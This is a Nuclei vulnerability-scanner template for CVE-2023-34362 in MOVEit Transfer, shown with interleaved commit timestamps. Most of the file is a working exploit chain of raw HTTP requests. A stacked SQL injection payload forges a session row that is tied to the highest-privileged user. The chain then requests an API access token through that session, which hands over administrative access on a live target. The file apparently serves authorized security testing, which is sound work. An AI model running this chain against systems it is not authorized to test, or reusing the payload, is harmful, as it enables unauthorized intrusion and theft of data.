nuclei-templates/http/cves/2023/CVE-2023-34362.yaml

135 lines
5.8 KiB
YAML
Raw Normal View History

2023-06-20 12:42:23 +00:00
id: CVE-2023-34362
info:
name: MOVEit Transfer - Remote Code Execution
2023-06-20 13:09:12 +00:00
author: princechaddha,rootxharsh,ritikchaddha,pdresearch
2023-06-20 12:42:23 +00:00
severity: critical
description: |
In Progress MOVEit Transfer before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), a SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements. NOTE: this is exploited in the wild in May and June 2023; exploitation of unpatched systems can occur via HTTP or HTTPS. All versions (e.g., 2020.0 and 2019x) before the five explicitly mentioned versions are affected, including older unsupported versions.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
reference:
2023-06-20 12:42:23 +00:00
- https://github.com/horizon3ai/CVE-2023-34362
- https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/
- https://nvd.nist.gov/vuln/detail/CVE-2023-34362
2023-08-31 11:46:18 +00:00
- http://packetstormsecurity.com/files/172883/MOVEit-Transfer-SQL-Injection-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/173110/MOVEit-SQL-Injection.html
2023-06-20 12:42:23 +00:00
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-06-20 12:42:23 +00:00
cve-id: CVE-2023-34362
2023-07-11 19:49:27 +00:00
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.92179
epss-percentile: 0.98648
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:progress:moveit_cloud:*:*:*:*:*:*:*:*
2023-06-20 12:42:23 +00:00
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 7
2023-07-11 19:49:27 +00:00
vendor: progress
product: moveit_cloud
2023-09-06 11:43:37 +00:00
shodan-query: http.favicon.hash:989289239
2023-10-14 11:27:55 +00:00
tags: packetstorm,cve,cve2023,moveit,rce,sqli,intrusive,kev
2023-06-20 12:42:23 +00:00
variables:
sessioncookie: "{{randstr}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Cookie: siLockLongTermInstID=0
- |
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: {{Hostname}}
Ax-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyUsername: Guest
X-siLock-SessVar1: MyPkgAccessCode: 123
X-siLock-SessVar2: MyGuestEmailAddr: my_guest_email@example.com
Cookie: siLockLongTermInstID=0
- |
POST /guestaccess.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Cookie: siLockLongTermInstID=0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Arg06=123
- |
@Host: https://checkip.amazonaws.com
GET / HTTP/1.1
Host: checkip.amazonaws.com
- |
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Ax-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyPkgID: 0
X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('{{sessioncookie}}');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET InstId='1234' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET IpAddress='{{ips}}' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET Timeout='60' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET ResilNode='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET AcctReady='1' WHERE SessionID='{{sessioncookie}}'; -- asdf
Cookie: siLockLongTermInstID=0
Content-Length: 0
- |
POST /guestaccess.aspx HTTP/1.1
Host: {{Hostname}}
Cookie: siLockLongTermInstID=0
Content-Type: application/x-www-form-urlencoded
2023-06-20 12:49:34 +00:00
2023-06-20 12:42:23 +00:00
CsrfToken={{csrf}}&transaction=secmsgpost&Arg01=email_subject&Arg04=email_body&Arg06=123&Arg05=send&Arg08=email%40example.com&Arg09=attachment_list
- |
POST /api/v1/auth/token HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId={{sessioncookie}}
Content-Type: application/x-www-form-urlencoded
grant_type=session&username=x&password=x
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2023-06-20 12:42:23 +00:00
matchers-condition: and
matchers:
- type: word
2023-06-20 16:05:59 +00:00
part: body_7
2023-06-20 12:42:23 +00:00
words:
- '{"access_token":'
- type: word
2023-06-20 16:05:59 +00:00
part: header_7
2023-06-20 12:42:23 +00:00
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: ips
regex:
- '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
2023-07-11 19:49:27 +00:00
internal: true
2023-06-20 12:42:23 +00:00
- type: regex
name: csrf
group: 1
regex:
- 'name="csrftoken" value="(\w+)">'
internal: true
2023-07-11 19:49:27 +00:00
part: body
2023-06-20 12:42:23 +00:00
- type: regex
name: access_token
group: 1
regex:
- '"access_token":"([^"]+)"'
2023-07-11 19:49:27 +00:00
part: body
# digest: 4a0a0047304502204fd821b0fc46b206d22a564681ac837e6e4f934b3d5587f3021cda0f6e43e0e302210096ab5c33809dff2f42e36022955be32e79e26d539684c6bb1bdb571ad42390ac:922c64590222798bb761d5b6d8e72950